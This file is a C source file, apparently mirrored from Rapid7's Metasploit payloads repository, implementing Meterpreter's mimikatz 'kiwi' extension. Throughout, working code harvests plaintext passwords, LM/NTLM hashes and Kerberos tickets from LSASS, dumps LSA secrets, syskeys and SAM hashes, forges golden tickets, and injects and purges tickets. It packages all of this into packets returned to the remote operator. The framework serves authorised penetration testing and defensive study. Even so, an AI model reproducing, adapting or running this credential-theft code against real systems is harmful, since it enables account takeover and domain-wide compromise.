1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-12 12:14:29 +01:00

513 lines
16 KiB
C
Raw Normal View History

#include "main.h"
#include "mimikatz_interface.h"
#include <NTSecAPI.h>
2014-03-14 19:51:35 +10:00
// dirty hackes to get things to build
// copied from crypto_system
#define MD4_DIGEST_LENGTH 16
#define MD5_DIGEST_LENGTH 16
#define SHA_DIGEST_LENGTH 20
// copied from globals
#define LM_NTLM_HASH_LENGTH 16
#define TIME_SIZE 28
2014-03-14 19:51:35 +10:00
#include "modules\kuhl_m_lsadump_struct.h"
#include "modules\kerberos\khul_m_kerberos_struct.h"
2014-03-14 19:51:35 +10:00
typedef void (CALLBACK * PKUHL_M_SEKURLSA_EXTERNAL) (IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain, IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData);
typedef LONG (* PKUHL_M_SEKURLSA_ENUMERATOR)(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_sekurlsa_all_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_sekurlsa_wdigest_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_sekurlsa_msv_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_sekurlsa_kerberos_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_sekurlsa_tspkg_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_sekurlsa_livessp_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
extern LONG kuhl_m_sekurlsa_ssp_enum(PKUHL_M_SEKURLSA_EXTERNAL callback, LPVOID state);
2014-03-14 19:51:35 +10:00
extern LONG kuhl_m_lsadump_full(PLSA_CALLBACK_CTX callbackCtx);
extern LONG kuhl_m_kerberos_list_tickets(PKERB_CALLBACK_CTX callbackCtx, BOOL bExport);
extern LONG kuhl_m_kerberos_use_ticket(PBYTE fileData, DWORD fileSize);
extern LONG kuhl_m_kerberos_create_golden_ticket(PCWCHAR szUser, PCWCHAR szDomain, PCWCHAR szSid, PCWCHAR szNtlm, PBYTE* ticketBuffer, DWORD* ticketBufferSize);
extern LONG kuhl_m_kerberos_purge_ticket();
2014-03-14 19:51:35 +10:00
BOOL is_unicode_string(DWORD dwBytes, LPVOID pSecret)
{
UNICODE_STRING candidateString = { (USHORT)dwBytes, (USHORT)dwBytes, (PWSTR)pSecret };
int unicodeTestFlags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS;
return pSecret && IsTextUnicode(candidateString.Buffer, candidateString.Length, &unicodeTestFlags);
}
void CALLBACK handle_result(IN CONST PLUID luid, IN CONST PUNICODE_STRING username, IN CONST PUNICODE_STRING domain,
IN CONST PUNICODE_STRING password, IN CONST PBYTE lm, IN CONST PBYTE ntlm, IN OUT LPVOID pvData)
{
UINT hi = 0;
UINT lo = 0;
2014-03-14 19:51:35 +10:00
DWORD count = 0;
Tlv entries[7];
Packet* packet = (Packet*)pvData;
ZeroMemory(&entries[0], sizeof(entries));
if (username != NULL && username->Buffer != NULL && username->Length > 0)
{
dprintf("[KIWI] Adding username %u chars", username->Length);
2014-03-14 19:51:35 +10:00
packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_USERNAME, username->Buffer, username->Length);
}
if (domain != NULL && domain->Buffer != NULL && domain->Length > 0)
{
dprintf("[KIWI] Adding domain %u chars", domain->Length);
2014-03-14 19:51:35 +10:00
packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_DOMAIN, domain->Buffer, domain->Length);
}
if (password != NULL && password->Buffer != NULL && password->Length > 0)
{
dprintf("[KIWI] Adding password %u chars", password->Length);
2014-03-14 19:51:35 +10:00
packet_add_tlv_wstring_entry(&entries[count++], TLV_TYPE_KIWI_PWD_PASSWORD, password->Buffer, password->Length);
}
dprintf("[KIWI] Adding auth info");
2014-03-14 19:51:35 +10:00
entries[count].header.length = sizeof(UINT);
entries[count].header.type = TLV_TYPE_KIWI_PWD_AUTH_HI;
entries[count].buffer = (PUCHAR)&hi;
++count;
entries[count].header.length = sizeof(UINT);
entries[count].header.type = TLV_TYPE_KIWI_PWD_AUTH_LO;
entries[count].buffer = (PUCHAR)&lo;
++count;
if (luid != NULL)
{
hi = htonl((UINT)luid->HighPart);
lo = htonl((UINT)luid->LowPart);
}
// 16 bytes long
if (lm != NULL)
{
2014-03-14 19:51:35 +10:00
dprintf("[KIWI] Adding lm hash");
entries[count].header.length = 16;
entries[count].header.type = TLV_TYPE_KIWI_PWD_LMHASH;
entries[count].buffer = (PUCHAR)lm;
++count;
}
// 16 bytes long
if (ntlm != NULL)
{
2014-03-14 19:51:35 +10:00
dprintf("[KIWI] Adding ntlm hash");
entries[count].header.length = 16;
entries[count].header.type = TLV_TYPE_KIWI_PWD_NTLMHASH;
entries[count].buffer = (PUCHAR)ntlm;
++count;
}
dprintf("[KIWI] Adding to packet");
2014-03-14 19:51:35 +10:00
packet_add_tlv_group(packet, TLV_TYPE_KIWI_PWD_RESULT, entries, count);
}
DWORD mimikatz_scrape_passwords(DWORD cmdId, Packet* packet)
{
switch (cmdId)
{
case KIWI_PWD_ID_SEK_ALLPASS:
{
dprintf("[KIWI] running all pass");
return kuhl_m_sekurlsa_all_enum(handle_result, packet);
}
case KIWI_PWD_ID_SEK_WDIGEST:
{
dprintf("[KIWI] running wdigest");
return kuhl_m_sekurlsa_wdigest_enum(handle_result, packet);
}
case KIWI_PWD_ID_SEK_MSV:
{
dprintf("[KIWI] running msv");
return kuhl_m_sekurlsa_msv_enum(handle_result, packet);
}
case KIWI_PWD_ID_SEK_KERBEROS:
{
dprintf("[KIWI] running kerberos");
return kuhl_m_sekurlsa_kerberos_enum(handle_result, packet);
}
case KIWI_PWD_ID_SEK_TSPKG:
{
dprintf("[KIWI] running tspkg");
return kuhl_m_sekurlsa_tspkg_enum(handle_result, packet);
}
case KIWI_PWD_ID_SEK_LIVESSP:
{
dprintf("[KIWI] running livessp");
return kuhl_m_sekurlsa_livessp_enum(handle_result, packet);
}
case KIWI_PWD_ID_SEK_SSP:
{
dprintf("[KIWI] running ssp");
return kuhl_m_sekurlsa_ssp_enum(handle_result, packet);
}
case KIWI_PWD_ID_SEK_TICKETS:
{
dprintf("[KIWI] running tickets");
break;
}
case KIWI_PWD_ID_SEK_DPAPI:
{
dprintf("[KIWI] running dpapi");
break;
}
}
return ERROR_INVALID_PARAMETER;
}
wchar_t* ascii_to_wide_string(char* ascii)
{
size_t requiredChars = strlen(ascii) + 1;
wchar_t* buffer = (wchar_t*)calloc(requiredChars, sizeof(wchar_t));
if (buffer != NULL)
{
swprintf_s(buffer, requiredChars, L"%S", ascii);
}
return buffer;
}
VOID to_system_time_string(LARGE_INTEGER time, char output[TIME_SIZE])
{
SYSTEMTIME st;
PFILETIME pTime = (PFILETIME)&time;
ZeroMemory(output, TIME_SIZE);
FileTimeToSystemTime(pTime, &st);
sprintf_s(output, TIME_SIZE, "%4u-%02u-%02u %02u:%02u:%02u.%03u",
st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond, st.wMilliseconds);
}
VOID TicketHandler(LPVOID lpContext, PKERB_TICKET_CACHE_INFO_EX pKerbTicketInfo, PKERB_EXTERNAL_TICKET pExternalTicket)
{
Packet* packet = (Packet*)lpContext;
Tlv entries[10];
DWORD dwCount = 0;
UINT uEncType = htonl(pKerbTicketInfo->EncryptionType);
UINT uFlags = htonl(pKerbTicketInfo->TicketFlags);
char sStart[TIME_SIZE], sEnd[TIME_SIZE], sMaxRenew[TIME_SIZE];
dprintf("[KIWI KERB] Adding ticket to result");
dprintf("[KIWI KERB] Converting times");
to_system_time_string(pKerbTicketInfo->StartTime, sStart);
to_system_time_string(pKerbTicketInfo->EndTime, sEnd);
to_system_time_string(pKerbTicketInfo->RenewTime, sMaxRenew);
dprintf("[KIWI KERB] Adding enc type");
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_ENCTYPE;
entries[dwCount].header.length = sizeof(UINT);
entries[dwCount].buffer = (PUCHAR)&uEncType;
++dwCount;
dprintf("[KIWI KERB] Adding flags");
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_FLAGS;
entries[dwCount].header.length = sizeof(UINT);
entries[dwCount].buffer = (PUCHAR)&uFlags;
++dwCount;
dprintf("[KIWI KERB] Adding start time");
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_START;
entries[dwCount].header.length = (DWORD)strlen(sStart);
entries[dwCount].buffer = (PUCHAR)sStart;
++dwCount;
dprintf("[KIWI KERB] Adding end time");
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_END;
entries[dwCount].header.length = (DWORD)strlen(sEnd);
entries[dwCount].buffer = (PUCHAR)sEnd;
++dwCount;
dprintf("[KIWI KERB] Adding max renew time");
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_MAXRENEW;
entries[dwCount].header.length = (DWORD)strlen(sMaxRenew);
entries[dwCount].buffer = (PUCHAR)sMaxRenew;
++dwCount;
dprintf("[KIWI KERB] Adding server name");
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_SERVERNAME, pKerbTicketInfo->ServerName.Buffer, pKerbTicketInfo->ServerName.Length / sizeof(wchar_t));
dprintf("[KIWI KERB] Adding server realm");
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_SERVERREALM, pKerbTicketInfo->ServerRealm.Buffer, pKerbTicketInfo->ServerRealm.Length / sizeof(wchar_t));
dprintf("[KIWI KERB] Adding client name");
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME, pKerbTicketInfo->ClientName.Buffer, pKerbTicketInfo->ClientName.Length / sizeof(wchar_t));
dprintf("[KIWI KERB] Adding client realm");
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM, pKerbTicketInfo->ClientRealm.Buffer, pKerbTicketInfo->ClientRealm.Length / sizeof(wchar_t));
if (pExternalTicket)
{
dprintf("[KIWI KERB] Adding raw ticket");
entries[dwCount].header.type = TLV_TYPE_KIWI_KERB_TKT_RAW;
entries[dwCount].header.length = pExternalTicket->EncodedTicketSize;
entries[dwCount].buffer = pExternalTicket->EncodedTicket;
++dwCount;
}
packet_add_tlv_group(packet, TLV_TYPE_KIWI_KERB_TKT, entries, dwCount);
}
DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* response)
{
KERB_CALLBACK_CTX callbackCtx;
callbackCtx.lpContext = response;
callbackCtx.pTicketHandler = TicketHandler;
return kuhl_m_kerberos_list_tickets(&callbackCtx, bExport);
}
DWORD mimikatz_kerberos_ticket_purge()
{
return kuhl_m_kerberos_purge_ticket();
}
DWORD mimikatz_kerberos_golden_ticket_create(char* user, char* domain, char* sid, char* tgt, Packet* response)
{
DWORD result = 0;
BYTE* ticketBuffer;
DWORD ticketBufferSize;
wchar_t* wUser = ascii_to_wide_string(user);
wchar_t* wDomain = ascii_to_wide_string(domain);
wchar_t* wSid = ascii_to_wide_string(sid);
wchar_t* wTgt = ascii_to_wide_string(tgt);
do
{
if (!wUser || !wDomain || !wSid || !wTgt)
{
dprintf("[MIMIKTAZ] Out of memory");
result = ERROR_NOT_ENOUGH_MEMORY;
}
result = kuhl_m_kerberos_create_golden_ticket(wUser, wDomain, wSid, wTgt, &ticketBuffer, &ticketBufferSize);
if (result != ERROR_SUCCESS)
{
break;
}
packet_add_tlv_raw(response, TLV_TYPE_KIWI_KERB_TKT_RAW, ticketBuffer, ticketBufferSize);
} while (0);
if (wUser)
{
free(wUser);
}
if (wDomain)
{
free(wDomain);
}
if (wSid)
{
free(wSid);
}
if (wTgt)
{
free(wTgt);
}
return result;
}
DWORD mimikatz_kerberos_ticket_use(BYTE* buffer, DWORD bufferSize)
{
return kuhl_m_kerberos_use_ticket(buffer, bufferSize);
2014-03-14 19:51:35 +10:00
}
VOID PolicyVersionHandler(LPVOID lpContext, USHORT usMajor, USHORT usMinor)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] Version: %u.%u", usMajor, usMinor);
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_VER_MAJ, (UINT)usMajor);
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_VER_MIN, (UINT)usMinor);
}
VOID Nt5KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT5_SYSTEM_KEY pSysKey)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] nt5 Key");
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_NT5KEY, pSysKey->key, sizeof(NT5_SYSTEM_KEY));
}
VOID Nt6KeyHandler(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey)
{
Tlv entities[3];
Packet *response = (Packet*)lpContext;
UINT uKeySize = htonl(pSysKey->KeySize);
dprintf("[KIWI LSA] nt6 Key");
dwIndex = htonl(dwIndex);
entities[0].header.type = TLV_TYPE_KIWI_LSA_KEYIDX;
entities[0].header.length = sizeof(UINT);
entities[0].buffer = (PUCHAR)&dwIndex;
entities[1].header.type = TLV_TYPE_KIWI_LSA_KEYID;
entities[1].header.length = sizeof(GUID);
entities[1].buffer = (PUCHAR)&pSysKey->KeyId;
entities[2].header.type = TLV_TYPE_KIWI_LSA_KEYVALUE;
entities[2].header.length = pSysKey->KeySize;
entities[2].buffer = (PUCHAR)pSysKey->Key;
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_NT6KEY, entities, 3);
}
VOID Nt6KeyStreamHandler(LPVOID lpContext, PNT6_SYSTEM_KEYS pSysKeyStream)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] nt6 Key stream: %u keys", pSysKeyStream->nbKeys);
packet_add_tlv_uint(response, TLV_TYPE_KIWI_LSA_KEYCOUNT, pSysKeyStream->nbKeys);
}
VOID CompNameHandler(LPVOID lpContext, wchar_t* lpwComputerName)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] Computer Name: %S", lpwComputerName);
packet_add_tlv_wstring(response, TLV_TYPE_KIWI_LSA_COMPNAME, lpwComputerName);
}
VOID SysKeyHandler(LPVOID lpContext, LPBYTE pKey, DWORD dwKeyLen)
{
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] SysKey: %u bytes", dwKeyLen);
packet_add_tlv_raw(response, TLV_TYPE_KIWI_LSA_SYSKEY, pKey, dwKeyLen);
}
VOID SecretHandler(LPVOID lpContext, wchar_t* lpwSecretName, wchar_t* lpwServiceInfo, LPBYTE pMd4Digest, LPVOID pCurrent, DWORD dwCurrentSize, LPVOID pOld, DWORD dwOldSize)
{
Tlv entries[5];
DWORD dwCount = 0;
Packet *response = (Packet*)lpContext;
dprintf("[KIWI LSA] Handling secret: %S", lpwSecretName);
// don't bother with the entry if we don't have data for it
if (!pCurrent && !pOld)
{
dprintf("[KIWI LSA] Secret has no data: %S", lpwSecretName);
return;
}
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_NAME, lpwSecretName, 0);
if (lpwServiceInfo)
{
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SECRET_SERV, lpwServiceInfo, 0);
}
if (pMd4Digest)
{
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SECRET_NTLM;
entries[dwCount].header.length = MD4_DIGEST_LENGTH;
entries[dwCount].buffer = (PUCHAR)pMd4Digest;
++dwCount;
}
if (pCurrent)
{
if (is_unicode_string(dwCurrentSize, pCurrent))
{
dprintf("[KIWI LSA] current text");
packet_add_tlv_wstring_entry(&entries[dwCount], TLV_TYPE_KIWI_LSA_SECRET_CURR, (LPCWSTR)pCurrent, dwCurrentSize / sizeof(wchar_t));
}
else
{
dprintf("[KIWI LSA] current raw");
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW;
entries[dwCount].header.length = dwCurrentSize;
entries[dwCount].buffer = (PUCHAR)pCurrent;
}
++dwCount;
}
if (pOld)
{
if (is_unicode_string(dwOldSize, pOld))
{
packet_add_tlv_wstring_entry(&entries[dwCount], TLV_TYPE_KIWI_LSA_SECRET_OLD, (LPCWSTR)pOld, dwCurrentSize / sizeof(wchar_t));
}
else
{
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW;
entries[dwCount].header.length = dwOldSize;
entries[dwCount].buffer = (PUCHAR)pOld;
}
++dwCount;
}
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_SECRET, entries, dwCount);
}
VOID SamHashHandler(LPVOID lpContext, DWORD dwRid, wchar_t* lpwUser, DWORD dwUserLength, BOOL hasLmHash, BYTE lmHash[LM_NTLM_HASH_LENGTH], BOOL hasNtlmHash, BYTE ntlmHash[LM_NTLM_HASH_LENGTH])
{
Tlv entries[4];
DWORD dwCount = 0;
Packet *response = (Packet*)lpContext;
dprintf("[KIWI SAM] HERE!");
if ((hasLmHash || hasNtlmHash) && lpwUser)
{
dprintf("[KIWI SAM] Adding %S rid %u (%x)", lpwUser, dwRid, dwRid);
dwRid = htonl(dwRid);
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SAM_RID;
entries[dwCount].header.length = sizeof(DWORD);
entries[dwCount].buffer = (PUCHAR)&dwRid;
++dwCount;
packet_add_tlv_wstring_entry(&entries[dwCount++], TLV_TYPE_KIWI_LSA_SAM_USER, lpwUser, dwUserLength);
if (hasLmHash)
{
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SAM_LMHASH;
entries[dwCount].header.length = LM_NTLM_HASH_LENGTH;
entries[dwCount].buffer = (PUCHAR)lmHash;
++dwCount;
}
if (hasNtlmHash)
{
entries[dwCount].header.type = TLV_TYPE_KIWI_LSA_SAM_NTLMHASH;
entries[dwCount].header.length = LM_NTLM_HASH_LENGTH;
entries[dwCount].buffer = (PUCHAR)ntlmHash;
++dwCount;
}
packet_add_tlv_group(response, TLV_TYPE_KIWI_LSA_SAM, entries, dwCount);
}
else
{
dprintf("[KIWI SAM] Ignoring %S, no hashes given");
}
}
2014-03-14 19:51:35 +10:00
DWORD mimikatz_lsa_dump_secrets(Packet* response)
{
LSA_CALLBACK_CTX callbackCtx;
ZeroMemory(&callbackCtx, sizeof(callbackCtx));
// we want the context to be the packet, so that elements
// can be added directly to the packet
callbackCtx.lpContext = response;
callbackCtx.pCompNameHandler = CompNameHandler;
callbackCtx.pSysKeyHandler = SysKeyHandler;
callbackCtx.pPolicyVersionHandler = PolicyVersionHandler;
callbackCtx.pNt6KeyStreamHandler = Nt6KeyStreamHandler;
callbackCtx.pNt6KeyHandler = Nt6KeyHandler;
callbackCtx.pNt5KeyHandler = Nt5KeyHandler;
callbackCtx.pSecretHandler = SecretHandler;
callbackCtx.pSamHashHandler = SamHashHandler;
2014-03-14 19:51:35 +10:00
return kuhl_m_lsadump_full(&callbackCtx);
}